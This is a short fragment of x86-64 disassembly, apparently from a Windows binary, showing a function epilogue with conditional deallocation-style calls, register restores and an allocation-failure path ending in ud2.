mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x14003ca3c
mov r8d, 1
mov rcx, rbx
call fcn.140018810
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x14003ca57
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.140018810
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x40]
mov qword [rdx + 0x10], rcx
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rdx], xmm0
mov byte [rdx + 0x18], al
mov rdx, qword [rsp + 0x68]
test rdx, rdx
jne 0x14003ca46
jmp 0x14003ca57
mov ecx, 1
mov edx, 0x800
call fcn.140222360
ud2